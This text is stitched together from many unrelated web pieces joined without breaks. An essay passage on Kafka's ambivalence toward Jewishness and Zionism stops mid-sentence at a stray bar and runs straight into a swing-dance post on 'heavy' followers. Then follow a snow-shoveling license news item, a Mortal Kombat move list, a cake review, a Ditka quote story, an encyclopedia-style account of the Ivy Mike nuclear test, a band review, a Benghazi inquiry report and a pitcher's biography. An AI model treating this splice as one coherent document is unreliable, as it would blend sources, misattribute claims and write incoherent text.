There is no doubt that Kafka’s Jewishness was important, but this in no way implied any sustained view on Zionism. He was immersed in Jewishness, but also sought to survive its sometimes pressing social demands. In 1911 he went to the Yiddish theatre nearly every week and described in detail what he saw there. In the subsequent years he read – ‘greedily’ as he puts it – L’Histoire de la littérature Judéo-Allemande by Meyer Pines, which was full of Hasidic tales, followed by Fromer’s Organismus des Judentums, which details rabbinic Talmudic traditions. He attended musical events at the Bar Kokhba Society, read portions of Kaballah and discussed them in his diaries, studied Moses Mendelssohn and Sholem Aleichem, read several Jewish magazines, attended lectures on Zionism and plays in Yiddish, and listened to Hebrew stories in translation. Apparently, on 25 February 1912, Kafka delivered a lecture on Yiddish, though I have not been able to find a copy. Perhaps it is stuffed in a box in Tel Aviv awaiting legal adjudication.
Alongside this impressive immersion in Jewish things – perhaps we could call it a mode of being enveloped – Kafka also voiced scepticism about that mode of social belonging. Hannah Arendt, whose own sense of belonging was similarly vexed (and became a subject of dispute with Gershom Scholem), made famous one of Kafka’s quips about the Jewish people: ‘My people, provided that I have one.’ As Louis Begley has recently made clear in a quite candid biographical essay, Kafka remained not only in two minds about Jewishness, but sometimes quite clearly torn apart. ‘What have I in common with Jews?’ he wrote in a diary entry in 1914. ‘I have hardly anything in common with myself and should stand very quietly in a corner, content that I can breathe.’ Sometimes his own remarks on Jews were harsh, if not violent, when, for instance, he calls the Jewish people ‘lizards’. In a letter to Milena, a non-Jew, he crosses over into a genocidal and suicidal fantasy in which no one can finally breathe any more:
I could rather reproach you for having much too good an opinion of the Jews whom you know (including myself) – there are others! – sometimes I’d like to cram them all as Jews (including myself) into the drawer of the laundry chest, then wait, then open the drawer a little, to see whether all have already suffocated, if not, to close the drawer again and go on like this to the end.
Jewishness is linked up, time and again, with the possibility of breathing. What have I in common with the Jews? I am lucky that I can breathe at all. So is it the Jews who make it difficult for him to breathe, or is it Kafka who imagines depriving the Jews of breath?
Kafka’s suffocation fantasy reiterates a phantasmatic vacillation of size that we also find, for instance, in The Judgment. In the fantasy, Kafka is impossibly large, larger than all the Jews he imagines putting into the drawer. And yet, he is also in the drawer, which makes him unbearably small. In The Judgment, the father is by turns huge and tiny: at one moment the son, Georg, remarks that when erect, he is so tall that his hand lightly touches the ceiling, but in a previous moment, the father is reduced to the size of a child and Georg carries him to bed. The son towers over the father only to be sentenced to death by the force of the latter’s words. Where is Kafka located in that fantasy of suffocation, and where is Georg? They are subject to a perpetual vacillation in which no one finally is sustained in a manageable scale. In the suffocation fantasy, Kafka is both agent and victim. But this persistent duality goes unrecognised by those who have used the letter to call him a self-hating Jew. Such a conclusion is no more warranted by the vacillations in his text than is the triumphant claim that Kafka’s occasionally admiring remarks about Zionism make him a Zionist. (He is, after all, flirting in some of those instances.) The suffocation fantasy, written in 1920, is perhaps most usefully understood in relation to a letter to Felice written four years earlier, after reading Arnold Zweig’s play Ritual Murder in Hungary (1916). The play enacts a drama from 1897 based on the blood libel against the Jews. Jews in a Hungarian village are accused of using a butcher’s knife to kill Christians and then using their blood to make unleavened bread. In the play, the accused are brought to court, where the charges are dismissed. An anti-Jewish riot breaks out on the streets and violence is directed against Jewish businesses and religious institutions. After reading Zweig’s play, Kafka wrote to Felice: ‘At one point I had to stop reading, sit down on the sofa, and weep. It’s years since I wept.’ The butcher’s knife, or knives like it, then reappear in his diaries and letters, and even several times in the published fiction: in The Trial, for instance, and again, most vividly, in ‘A Country Doctor’. The play gives us some sense of the limits of law, even the strange way that the law gives way to a lawlessness it cannot control.
The fact that Kafka wept at the story of false accusations – indeed, that few accounts made him weep as this one did – may strike us as surprising. The tone of the The Trial is, after all, one in which a false or obscure accusation against K. is relayed in the most neutral terms, without resonating affect. It seems that the grief avowed in the letters is precisely what is put out of play in the writing; and yet the writing conveys precisely a set of events that are bound together neither through probable cause nor logical induction. So the writing effectively opens up the disjunction between clarity – we might even say a certain lucidity and purity of prose – and the horror that is normalised precisely as a consequence of that lucidity. No one can fault the grammar and syntax of Kafka’s writing, and no one has ever found emotional excess in his tone; but precisely because of this apparently objective and rigorous mode of writing, a certain horror opens up in the midst of the quotidian, perhaps also an unspeakable grief. Syntax and theme are effectively at war, which means that we might think twice about praising Kafka only for his lucidity. After all, the lucid works as style only insofar as it betrays its own claim to self-sufficiency. Something obscure, if not unspeakable, opens up within the perfect syntax. Indeed, if we consider that recurrent and libellous accusations lurk in the background of his many trials, we can read the narrative voice as a neutralisation of outrage, a linguistic packing away of sorrow that paradoxically brings it to the fore. So Jews are his family, his small world, and he is already in some sense hemmed in by that small apartment, that relentless community, and in that sense suffocated. And yet, he was mindful of the stories and present dangers of anti-semitism, ones that he experienced directly in a riot that took place in 1918 in which he found himself amid a crowd ‘swimming in Jew-hatred’. Did he then look to Zionism as a way out of this profound ambivalence: the need to flee the constraints of family and community coupled with the need to find a place imagined as free of anti-semitism?
Consider the very first letter Kafka wrote to Felice in September 1912. In the opening line, he asks her to picture him together with her in Palestine:
In the likelihood that you no longer have even the remotest recollection of me, I am introducing myself once more: my name is Franz Kafka, and I am the person who greeted you for the first time that evening at Director Brod’s in Prague, the one who subsequently handed you across the table, one by one, photographs of a Thalia trip, and who finally, with the very hand now striking the keys, held your hand, the one which confirmed a promise to accompany him next year to Palestine.
As the correspondence unfolds over the next few years, Kafka lets her know time and again that he will really not be able to accompany her, not on this trip or on another, and certainly not to Palestine, at least not in this life as the person that he is: the hand that strikes the keys will not be holding her hand. Moreover, he has his doubts about Zionism and about ever arriving at that destination. He subsequently calls it a ‘dream’, and chides her a few years later for entertaining Zionism so seriously: ‘You flirted with it,’ he wrote. But actually, he was the one who introduced Palestine as the structure of flirtation: come with me, take my hand to the beyond. Indeed, as the relationship founders and breaks over the next few years, he makes clear that he has no intention of going, and that he thinks those who do go are pursuing an illusion. Palestine is a figural elsewhere where lovers go, an open future, the name of an unknown destination.
In Kafka Goes to the Movies, Hanns Zischler makes the case that filmic images provided Kafka with a primary means of access to the space of Palestine, and that Palestine was a film image for him, a projected field of fantasy. Zischler writes that Kafka saw the beloved land in film, as film. Indeed, Palestine was imagined as unpopulated, which has been ably confirmed by Ilan Pappe’s work on early Zionist photography, in which Palestinian dwellings are quickly renamed as part of the natural landscape. Zischler’s is an interesting thesis, but is probably not quite true, since the first of those films were not seen until 1921 according to the records we have, and Kafka was avidly attending meetings and reading journals, gaining a sense of Palestine as much from stories written and told as from public debates. In the course of those debates and reports, Kafka understood that there were conflicts emerging in the region. Indeed, his short story ‘Jackals and Arabs’, published in Der Jude in 1917, registers an impasse at the heart of Zionism. In that story, the narrator, who has wandered unknowingly into the desert, is greeted by the Jackals (die Schakale) a thinly disguised reference to the Jews. After treating him as a Messianic figure for whom they have been waiting for generations, they explain that his task is to kill the Arabs with a pair of scissors (perhaps a joke about how Jewish tailors from Eastern Europe are ill equipped for conflict). They don’t want to do it themselves, since it would not be ‘clean’, but the Messiah is himself apparently unbound by kosher constraints. The narrator then speaks with the Arab leader, who explains that ‘it’s common knowledge; so long as Arabs exist, that pair of scissors goes wandering through the desert and will wander with us to the end of our days. Every European is offered it for the great work; every European is just the Man that Fate has chosen for them.’
The story was written and published in 1917, the year Kafka’s relationship with Felice came to an end. That same year, he clarifies to her in a letter: ‘I am not a Zionist.’ Slightly earlier he writes of himself to Grete Bloch that by temperament, he is a man ‘excluded from every soul-sustaining community on account of his non-Zionist (I admire Zionism and am nauseated by it), non-practising Judaism’. After attending a meeting of Zionists in March 1915 with Max Brod, at which Jews from Eastern and Western Europe came together to sort out their differences, he describes the various characters, one with his ‘shabby little jacket’, and notes the ‘diabolically unpleasant smile’ of a little fellow described as ‘a walking argument’ with a ‘canary voice’. This visual sequence finally includes himself: ‘I, as if made of wood, a clothes-rack pushed into the middle of the room. And yet hope.’
From where precisely does this hope emerge? Here as elsewhere, the problem of destination touches on the question of emigrating to Palestine, but also on the |
9. Follower automatically “sits” into the leader’s arm when he brings her into closed position (Added Dec 2010)
Many, many follows will automatically sit into the leaders arm when he brings her into closed position. (And often, it’s at a slightly diagonal angle into his arm.) If it’s more than he’s leading her to, it will feel heavy as well as limit what he can do. Just as an advanced leader may ask for different amounts of counterbalance at different times in open position, he may do the same in closed–a leader should be very specific about how much he’s asking his follower to sit into his arm on swing outs, circles, and other closed position leads, and a follower should be specific about how much she responds.
10. Leader expects follower to move even though he doesn’t give her what she needs to move. Some times, if a Leader is used to dancing with girls who are eager to move and finish all the movements, he will, unawares, become lazy. He won’t lead the follower to move, expecting her to do so. When he comes along a follower who doesn’t move without the proper leads, she will feel heavy. He has been living the life of luxury, having had followers do half of his leading for him.
11. Leader is asking follower to be heavier than he expects; doesn’t realize it. On the other flip side (“the other flip side?”), if a leader has been dancing almost only with follower’s who are always light, he might be asking his follower to be heavy and not expect it. Or, if the dance floor is slippier than usual, he might be compensating weirdly and will ask the follower to be heavier than he expected (this happened to me a few months ago. In trying to stay grounded with slippery shoes, I tensed up weird and took my follower down with me (into the land of heaviness, that is.))
12. Follower is putting too much momentum into the ground. Perhaps the product of trying to “sit into it” or put a pulse into the ground, some followers will find themselves sunk up to their hips into the dance floor, and all movements feel sluggish.
But please don’t compensate by dancing out of the ground. The way you walk/run are probably good determinations of how much weight to put into the ground and how to find your natural downward pulse.
12. Follower is trying to protect herself; dancing with gorilla If a follower is dancing with a leader who is using a lot of brute force, a follower might protect herself by tensing up, clamping up, trying to keep things under control. But, if such a leader thinks such a follower is “heavy,” she probably will be better off not correcting him. At least, if he thinks she’s heavy, she’ll never have to dance with him again.
Conclusion Though there are many different ways and reasons a follower can be “heavy,” you can sense some common themes: tension, weird posture, inability to counterbalance, and often, all three mixed together. Another common theme is giving the leader more than he asks for, or giving him weight in places he’s not asking for.
A Quick Note on the inherent sex generalizations in dance language: All followers in this text are referred to as “she,” though this is only for the sake of clear understanding and flow throughout the writing. “He/She” “or “She/He” felt too clunky, and using “it” only adds to the sexist problem. Also, in all the diagrams, I have given my follower a rather charming 1937 blonde hair cut (those are the yellow bumps). This is, again, so I can use generalization for clarity’s sake.
In truth, almost every male-follower I’ve ever danced with could be described as a “heavy” follower–mainly for reasons mentioned below. This leads me to…
A Quick note on actual follower size (Or Physics: Our Best Friend, Our Worst Enemy.)
Kate’s “Are you calling me fat?” joke is just that. A joke. But, as a way of coming full circle, I do want to talk about relative size. If you are an eighty-pound winged pixie follower, you might have many of these problems to small degrees and have never been called “heavy.” Ironically, all people probably say to you is “I bet you’d be great at aerials!”**
If you are a lumbering 250 pound guy follower with the exact same problems as the 80-pound pixie winged follower, and to the exact same extent, you will be the one getting the “you’re too heavy” comments. Only because physics has magnified the problem.
So, if you’re an 80-pound winged pixie follower, beware that many of these things might apply to you even though you’ve never been called “heavy.” And if you truly want to be a great follower, you’ll probably often have to check in and see what problems you’re getting away with because of your size.
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**–Another thing I’m annoyed by is when some guy introduces me to his beginner dancer 80 pound winged pixie partner and says “I now have someone to do aerials with.” I usually want to tell them “You’ve always had plenty of people to throw around. For instance, the three or four advanced followers you dance with all the time, that would love to do aerials.”
What he’s thinking is that now he has less weight to throw around. Now he can learn aerials faster because he won’t have to concentrate on technique as much. Now, he can really get some height out of those flips.
He hasn’t taken into account that a follower has to be a good follower to do an air step consistently and safely. That she has to do a lot of intricate work herself to make things happen effortlessly. That, in most aerials done well, physics does the bulk of the heavy lifting, so what you really want out of an aerial partner is a girl who knows how to control her body, whatever body that may be.
And, what is more annoying, is that he usually hasn’t once thought about the idea of going to a gym himself.
Until other leaders around him start going to the gym, that is. But I don’t worry about it. Sooner or later he will realize just how heavy 80 pounds can be.
However, a follower’s guide to aerials is another essay topic unto itself. Coming soon to Swungover?Spread the love
The most hyped-up winter storm in recent memory is headed for the east coast, and everyone is doing their best to prepare for the predicted weather. Many entrepreneurs are also preparing to help dig their neighbors out in exchange for some spare cash. However, it is important to note that in many towns across the country, it is actually illegal to shovel a neighbor’s snow for money if you do not have a license to do so.
Last year in Bound Brook, New Jersey, two 18-year-old boys were stopped by police during a snowstorm because they were offering to shovel their neighbors driveways. They were told by the officers that they had to pack up their shovels and go home because they didn’t have licenses, and the story sparked national public outcry.
In Bound Brook, the license that would be required for an independent business like this would cost up to $450 and is only good for 180 days.
These regulations have faced intense scrutiny, and this week, as a massive storm is predicted, some governments are temporarily rolling back the regulations and allowing people to help out their neighbors.
In New Jersey, where the boys were stopped by police last year, Gov. Chris Christie signed a bill lifting the regulations that prevented them from shoveling in Bound Brook.
The “right-to-shovel” bill was sponsored by State Senator Mike Doherty called the prior laws an overreach of big government.
“It’s incredible that some towns wanted kids to register as businesses or buy expensive solicitation permits before offering to shovel their neighbors’ driveways and sidewalks. This new law sends the message that kids looking to make a few bucks on a snow day shouldn’t be subjected to government red tape or fined for shoveling snow. The enactment of this law is a win against big government bureaucracy that wants to regulate every little thing we do. With the potential for a big winter storm this weekend, the timing of this law couldn’t be better for New Jersey’s young entrepreneurs,” Doherty said.
The bill only affects licensing requirements for snow shoveling services, not other businesses. Also, the bill only and only allows for services to be rendered within 24 hours before a predicted snow storm.
New Jersey is not alone; similar laws exist all across the country which prevent people from shoveling snow, opening lemonade stands, or even feeding the homeless. To make matters worse, it is nearly impossible to track down the specific permitting laws in your local area to figure out if you even need a license or not. However, most areas do require any type of entrepreneur, no matter how small or large, to comply with a large number of regulations and licensing requirements. These are the types of laws that were made to be broken and can only be met with peaceful but defiant resistance.
John Vibes is an author and researcher who organizes a number of large events including the Free Your Mind Conference. He also has a publishing company where he offers a censorship free platform for both fiction and non-fiction writers. You can contact him and stay connected to his work at his Facebook page. You can purchase his books, or get your own book published at his website www.JohnVibes.com.The long-awaited firstDLC character, Skarlet, is now available on the PlayStation Network and Xbox LIVE for download. In our effort to spill the most blood possible, we've already uncovered all of her moves, and finishing moves, including two fatalities, a stage fatality and a babality.
360: X(1) – Y(2) – A(3) – B(4)
PS3: Square(1) – Triangle(2) – X(3) – Circle(4)
Move List
Up Slash: D, F, 2
Down Slash: D, B, 2
Blood Drop: D, B, 4
Red Dash: D, F, 3
Red Slide (during Red Dash): 4
Blood Ball: F, D, B, 1 (can aim with U or D)
Dagger Toss: D, F, 1
Air Dagger (close): D, B, 1 (in air)
Air Dagger (far): D, F, 1 (in air)
Fatality List
Blood Bath (close): D, B, D, D, Block
Make It Rain (jump): F, B, D, D, 4
Stage: F, B, F, 1
Babality (jump): D, B, D, F, 2Loading
Chef's Note
“This is one of (if not) the BEST banana cake I have ever tasted! I thought the oven temp of 275° sounded a little low, but this cake baked up (and rose) beautifully in my oven at this temp after pretty much exactly one hour. I do not know if the little "freezer trick" to this recipe is what ensured its moistness or not, but I did it, and it was exceptionally moist & delicious. Would be interesting to see if it still came out as great if this step was skipped. All I know is that I followed this recipe EXACTLY as stated (except that I had no buttermilk, so I subbed with a mix of lemon juice & milk) and I got exceptional results. So moist and yummy...a dense cake, similar in texture to a carrot cake... I personally would not call this frosted banana bread :o) Depending on the amount of frosting you like you can decide whether to half the recipe or not. I used the full recipe and had some leftover. I sprinkled on the chopped walnuts and threw this baby in the fridge and cut it the next day...TO DIE FOR! I really liked it slightly chilled, but great at room temp too! It got better each day it sat, I always make this cake at least the day before I need or want it. I was extremely pleased with this cake and will be making it over & over again!! So glad I came across this one!! (on another website). (* * Just to update the recipe, (based on some of the reviews), the baking time may vary based on individual ovens. It was RIGHT ON for my oven, but some others have stated it has taken 1 hour 10 minutes, 1 hour 20 minutes, and my sister just informed me that it took 1 hour 30 minutes in her oven!!!!!)”Mike Ditka, the ornery 76-year old Hall of Famer who coached one the greatest defenses in NFL history, went on a radio show in Dallas and was asked about Colin Kaepernick. Because if you’ve spent a minute around football, that’s the only question people are asking anyone these days.
Ditka, a longtime Republican, had this to say when asked about Time Magazine cover boy Kaepernick taking a knee during the National Anthem:
“I think it’s a problem…anybody who disrespects this country and the flag” said Ditka. “If they don’t like the country they don’t like our flag…get the hell out.” “I have no respect for Colin Kaepernick – he probably has no respect for me, that’s his choice” said Ditka. “My choice is, I like this country, I respect our flag, and I don’t see all the atrocities going on in this country that people say are going on.” Ditka added, “I see opportunities if people want to look for opportunity – now if they don’t want to look for them – then you can find problems with anything, but this is the land of opportunity because you can be anything you want to be if you work. If you don’t work…that’s a different problem. ”
This doesn’t really need to be dissected in detail, right? Steve Kerr’s spoken eloquently. Richard Sherman agreed with Ditka that standing against the flag wasn’t the right move; then Kaepernick adjusted to taking a knee and it has largely squashed the hatred.
That exhale you just heard was a collection of ESPN executives thrilled that it parted ways with Ditka earlier this year.Ivy Mike was the codename given to the first test of a full-scale[1] thermonuclear device, in which part of the explosive yield comes from nuclear fusion. It was detonated on November 1, 1952 by the United States on the island of Elugelab in Enewetak Atoll, in the Pacific Ocean, as part of Operation Ivy. It was the first full test of the Teller–Ulam design, a staged fusion device.
Due to its physical size and fusion fuel type (cryogenic liquid deuterium), the Mike device was not suitable for use as a deliverable weapon; it was intended as an extremely conservative proof of concept experiment to validate the concepts used for multi-megaton detonations. A simplified and lightened bomb version (the EC-16) was prepared and scheduled to be tested in operation Castle Yankee, as a backup in case the non-cryogenic "Shrimp" fusion device (tested in Castle Bravo) failed to work; that test was cancelled when the Bravo device was tested successfully, making the cryogenic designs obsolete.
Device design and preparations [ edit ]
Sausage device casing, with its instrumentation and cryogenic equipment attached. The long pipes were for measurement purposes; their function was to transmit the first radiation from the primary and secondary ("Teller light") to instruments just as the device was detonated, before being destroyed in the explosion. Note man seated lower right for scale. A view of thedevice casing, with its instrumentation and cryogenic equipment attached. The long pipes were for measurement purposes; their function was to transmit the first radiation from the primary and secondary ("Teller light") to instruments just as the device was detonated, before being destroyed in the explosion. Note man seated lower right for scale.
The 82-ton "Mike" device was essentially a building that resembled a factory rather than a weapon. It has been reported that Soviet engineers derisively referred to Mike as a "thermonuclear installation".[2] At its center, a very large cylindrical thermos flask or cryostat held the cryogenic deuterium fusion fuel. A regular fission bomb (the "primary") at one end was used to create the conditions needed to initiate the fusion reaction.
The device was designed by Richard Garwin, a student of Enrico Fermi, on the suggestion of Edward Teller. It had been decided that nothing other than a full-scale test would validate the idea of the Teller-Ulam design, and Garwin was instructed to use very conservative estimates when designing the test, and that it need not be small and light enough to be deployed by air.[3]
The primary stage was a TX-5 fission bomb[4]:66 (it was not boosted[4]:43) nested inside the radiation case at the upper section of the device, and it was not in contact with the "secondary" fusion stage (the TX-5 primary was also not refrigerated).[4]:43 The "secondary" fusion stage used liquid deuterium despite the difficulty of handling this material, because this fuel simplified the experiment, and made the results easier to analyze. Running down the center of the flask which held it, was a cylindrical rod of plutonium (the "sparkplug") to ignite the fusion reaction. Surrounding this assembly was a five-ton (4.5 tonne) natural uranium "tamper". The exterior of the tamper was lined with sheets of lead and polyethylene, which formed a radiation channel to conduct X-rays from the primary to secondary. The function of the X-rays was to compress the secondary; with tamper/pusher ablation, foam plasma pressure and radiation pressure. This process increases the density and temperature of the deuterium to the level needed to sustain a thermonuclear reaction, and compress the sparkplug to a supercritical mass - Inducing the sparkplug to undergo nuclear fission, to start a fusion reaction in the surrounding deuterium fuel. The outermost layer was a steel casing 10–12 inches (25–30 cm) thick. The entire assembly, nicknamed "Sausage", measured 80 inches (2.03 m) in diameter and 244 inches (6.19 m) in height and weighed about 54 tons.
The entire Mike device (including cryogenic equipment) weighed 82 short tons (73.8 metric tonnes), and was housed in a large corrugated-aluminium building called a "shot cab" which was set up on the Pacific island of Elugelab, part of the Enewetak atoll.
A 9,000-foot (2.7 km) artificial causeway connected the islands of Elugelab, Teiter, Bogairikk, and Bogon. Atop this causeway was an aluminium-sheathed plywood tube (named a "Krause-Ogle box") filled with helium ballonets. This allowed gamma and neutron radiation to pass uninhibited to an unmanned detection station housed in a bunker on Bogon.
In total, 9,350 military and 2,300 civilian personnel were involved in the Mike shot. A large cryogenics plant was installed on Parry Island, at the South end of the Enewetak atoll, to produce the liquid hydrogen (used for cooling the device) and deuterium needed for the test.
Detonation [ edit ]
Ivy Mike test video.
before Mike shot. Note island of Elugelab on left. Enewetak Atoll,shot. Note island of Elugelab on left.
after Mike shot. Note crater on left. Enewetak Atoll,shot. Note crater on left.
The test was carried out on 1 November 1952 at 07:15 local time (19:15 on 31 October, Greenwich Mean Time). It produced a yield of 10.4 megatons of TNT.[5] However, 77% of the final yield came from fast fission of the uranium tamper, which produced large amounts of radioactive fallout.
The fireball created by the explosion had a maximum radius of 2.9 to 3.3 km (1.8 to 2.1 mi).[6][7][8] This maximum is reached a number of seconds after the detonation and during this time the hot fireball invariably rises due to buoyancy. While still relatively close to the ground, the fireball had yet to reach its maximum dimensions and was thus approximately 5.2 km (3.2 mi) wide. The mushroom cloud rose to an altitude of 17 km (56,000 ft) in less than 90 seconds. One minute later it had reached 33 km (108,000 ft), before stabilizing at 41 km (135,000 ft) with the top eventually spreading out to a diameter of 161 km (100 mi) with a stem 32 km (20 mi) wide.
The blast created a crater 1.9 km (6,230 ft) in diameter and 50 m (164 ft) deep where Elugelab had once been;[9] the blast and water waves from the explosion (some waves up to 6 m (20 ft) high) stripped the test islands clean of vegetation, as observed by a helicopter survey within 60 minutes after the test, by which time the mushroom cloud and steam were blown away. Radioactive coral debris fell upon ships positioned 56 km (35 mi) away, and the immediate area around the atoll was heavily contaminated for some time. Two new elements, einsteinium and fermium, were produced by intensely concentrated neutron flux about the detonation site.[10] One USAF pilot was lost when his F-86 Sabre crashed during a sampling mission.[11][12]
Close to the fireball, lightning discharges were rapidly triggered.[13]
The entire shot was documented by the filmmakers of Lookout Mountain studios. A post production explosion sound was overdubbed over what was a completely silent detonation from the vantage point of the camera, with the blast wave sound only arriving a number of seconds later, as akin to thunder, with the exact time depending on its distance.[14] The film was also accompanied by powerful, Wagner-esque music featured on many test films of that period and was hosted by actor Reed Hadley. A private screening was given to President Dwight D. Eisenhower who had succeeded President Harry S. Truman in January 1953.[15] In 1954, the film was released to the public after censoring, and was shown on commercial television channels.[16]
Edward Teller, perhaps the most ardent supporter of the development of the hydrogen bomb, was in Berkeley, California at the time of the shot. He was able to receive first notice that the test was successful by observing a seismometer, which picked up the shock wave that traveled through the earth from the Pacific Proving Grounds.[17] In his memoirs, Teller wrote that he immediately sent an unclassified telegram to Dr. Elizabeth "Diz" Graves, the head of the rump project remaining at Los Alamos during the shot. The unclassified telegram contained only the words "It's a boy.", which came hours earlier than any other word from Enewetak.[18][19]
See also [ edit ]
Notes [ edit ]
References [ edit ]
Chuck Hansen, U. S. Nuclear Weapons: The Secret History (Arlington: AeroFax, 1988)
(Arlington: AeroFax, 1988) Richard Rhodes, Dark Sun: The Making of the Hydrogen Bomb (New York: Simon and Schuster, 1995)
Coordinates:The Sopranos hasn’t been in production for nearly a decade, but in the hearts of Brooklyn-based lo-fi noise rock act Dread, Tony and company are as active as they’ve ever been. The group’s new EP is called Dread Is Tony Soprano, and it’s entirely inspired by the series. The band even made the limited edition tape release of the album look like an old Sopranos VHS tape, except the FBI warning has been replaced by a completely bonkers warning from something called the “FVI.”
Concept records are dangerous territory, but Dread manages to make this one work. That’s mainly because it’s not a joke, and it’s not heavy handed in its references. Someone who has never seen the show could still listen to this and love it. “So Dad Wasn’t A Spy,” which is about Vito Spadafore’s son acting out after his father gets whacked, could just be a song about an angry middle-school misfit. “Dead Tone,” which is about Tony and Christopher’s relationship, could just be a terribly creepy song about killing a family member. “Dedication” is pretty clearly about killing Big Pussy, though, since there are some things that you have to deal with pretty directly.
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Fans of The Sopranos, lo-fi rock, or all of the above can order Dread’s limited edition cassette or download a digital copy of the EP over at the group’s Bandcamp site. The record is out now on Aloe Music.The House Select Committee submitted a list of questions for President Barack Obama to answer, as part of the Committee’s inquiry into the 2012 attack in Benghazi that resulted the deaths of four Americans, Politico reported. The investigation is coming to a close after more than two years.
In a letter to Committee Chairman Trey Gowdy delivered on Saturday, counsel to the President Neil Eggleston said he advised Obama not to answer the questions, and expressed concern over the effect it would have on separation of powers if Obama did comply. “If the president were to answer your questions, his response would suggest that Congress has the unilateral power to demand answers from the president about his official acts,” Eggleston wrote.
Committee spokesman Jamal Ware had strong words for the administration in response to the letter. He said:
It’s no surprise President Obama would rather take questions from Derek Jeter than answer questions for the American people about the Benghazi terrorist attacks, which followed what he himself has called his worst mistake — failing to plan for what happened after the State Department pushed U.S. intervention in Libya.
Gowdy first discussed sending written questions to the President in 2014. He again brought it up with Eggleston in January of this year. Eggleston sent a letter on May 11 with information regarding when Obama was first briefed on the Benghazi attack, and saying that after the briefing, Obama “immediately ordered the military to deploy all available assets.” That letter also denied that Obama rescinded the order or that there was any order from the White House or National Security Council to delay their response. Eggleston said in the letter:
Any claim that the president was not fully engaged and informed the night of the attacks and any doubt about his direction that any and all action be taken to assist our people under attack are unfounded and belied by the facts.
Gowdy sent more questions on June 7, regarding whether Obama ever covertly authorized giving weapons to Libyan rebels, if he viewed the security footage of the attack, when he learned who the terrorists were, and whether anyone from the White House or Department of Defense contacted Terry Jones or YouTube about an anti-Muslim video. The administration had at one point claimed that the attack was in response to an anti-Muslim YouTube video created by Jones.
Instead of answers to the questions, Gowdy got Eggleston’s latest letter in response. In addition to saying that Obama will not answer the questions, Eggleston challenged the Committee’s intentions. “Your decision to send this letter raises serious questions about the legitimacy of your purported investigatory interests,” Eggleston said. He stated that the Committee knew that Eggleston would advise Obama not to answer the questions, so they shouldn’t have asked them at all.
Eggleston also claimed that some of the questions from Gowdy’s June 7 letter had already been answered. A Committee spokesperson told Politico that the questions were not repeats, and that not all of the information that Eggleston turned over in May fully answered the questions they had first asked.Jason Alan Grimsley (born August 7, 1967) is a former Major League Baseball relief pitcher.
Major League career [ edit ]
Like many relief pitchers, Grimsley began his career as a starting pitcher. But he became a full-time reliever while a member of the Yankees.
Philadelphia Phillies (1989–1991) [ edit ]
Grimsley began his career in 1989 and pitched very poorly, surrendering 13 runs in 181⁄ 3 innings. The following year, he went 3–2 and made 11 starts. In 1991, he went 1–7 with a 4.87 ERA in 12 starts. Following the 1991 season, he was traded to the Houston Astros for Curt Schilling.
Out of the league and Cleveland Indians (1992–1995) [ edit ]
He spent the entire 1992 season in the minors and on March 30, 1993 he was released by Houston and signed with the Cleveland Indians. In his first season with Cleveland, he went 3–4 over 10 games, and in 1994, went 5–2 with a 4.57 ERA in 14 games. Grimsley is known for his leading role in the 1994 Bat Burglary involving Albert Belle and an allegedly corked bat that was taken away by umpires for examination by the league. Grimsley was the player who crawled through a Comiskey Park air conditioning duct to reach the room where the confiscated bat had been secured. He took the corked bat and replaced it with a clean bat. The incident made ESPN.com's "Biggest Cheaters in Baseball" list at number 4.[1] The next season, he was used mostly as a reliever, making only two starts. Following the season, on February 14, 1996 he was traded to the Angels.
California Angels (1996) [ edit ]
Grimsley went 5–7 with a 6.84 ERA in 1996 while making a career-high 20 starts.[2] On October 8, he was granted free agency.
Out of the league again (1997–1998) [ edit ]
Grimsley signed with the Tigers on January 17, 1997, but was released following spring training. On April 3, he signed with the Brewers and on July 29, was traded to the Royals for Jamie Brewington. He was granted free agency on October 15. On January 8, 1998, he was signed with the Cleveland Indians. He did not appear in a major league game that year and was granted free agency on October 15.
New York Yankees (1999–2000) [ edit ]
Grimsley signed with the Yankees on January 26, 1999. With the Yankees, he rebounded, going 7–2 with a 3.60 ERA in 55 relief outings, 25 as a closer, but earned only one save. Grimsley did not pitch in the 1999 American League Division Series or the 1999 American League Championship Series, but pitched 2 and 1/3 innings of two-hit, two-walk ball in the 1999 World Series. In 2000, he was 3–2 with a 5.04 ERA. In the 2000 ALCS, he pitched one scoreless inning and earned his second World Series ring when the Yankees defeated the Mets in five games despite not pitching in the World Series. On November 20, he was released by the Yankees.[2]
Kansas City Royals (2001–2004) [ edit ]
Grimsley signed with the Royals on January 19, 2001. In his first season in Kansas City he was 1–5. In three and a half years in Kansas City, he never posted a record better than.500 (he was 3–3 in 2004). He was 1–5 in 2001, 4–7 in 2002, and 2–6 in 2003. Grimsley also gave up the famous home run to Scott Hatteberg that gave the Oakland Athletics their 20th straight win in 2002, as immortalized in the film Moneyball. On October 29, 2003, he was granted free agency, but re-signed on December 7. In 2004, he went 3–3 with a 3.38 ERA before being traded on June 21 to the Orioles for Denny Bautista.
Baltimore Orioles (2004–2005) [ edit ]
Grimsley went 2–4 in 2004 with Baltimore. In 2005, he posted a dismal 1–3 record with a 5.73 ERA, and was granted free agency on October 27.
Arizona Diamondbacks (2006) [ edit ]
In 2006, he was 1–2 with a slightly better 4.88 ERA in 19 games before being released on June 7. He subsequently retired.
Illicit drug use [ edit ]
On June 6, 2006, it was reported that Federal officials had raided Grimsley's home looking for evidence that he was distributing human growth hormone (HGH) and other performance-enhancing drugs.[3]
The Arizona Diamondbacks released him at his request, shortly after it became public in June 2006 that he had admitted to using performance-enhancing drugs.[4][5] The Diamondbacks announced they would not pay the rest of his 2006 salary, an estimated US$875,000. Grimsley's agent Joe Bick stated that Grimsley would contest the decision. Michael Weiner, general counsel to the players union stated that the union would file a grievance on his behalf.[6]
On June 12, 2006, Grimsley was suspended for 50 games for violating Major League Baseball's Joint Drug Prevention and Treatment Program. This penalty would take effect if Grimsley ever signed a contract with a major league team and was placed on a 40-man roster.[7] He was the fourteenth Major League Baseball player to be suspended for use of performance-enhancing drugs.
ESPN reported that court documents showed that Grimsley had failed an MLB-administered drug test in 2003; he subsequently confessed to the use of human growth hormones, amphetamines and steroids.[8]
His drug use began in 1998 while in Buffalo, New York. After a nine-year MLB career, he was in the minors trying to get back to the majors after a shoulder injury. Among the drugs he has used are Deca-Durabolin, amphetamines, human growth hormone and Clenbuterol. Prior to the use of performance-enhancing drugs he had earned a total of $1 million; subsequently he earned $9 million. His ERA dropped by a run.[9]
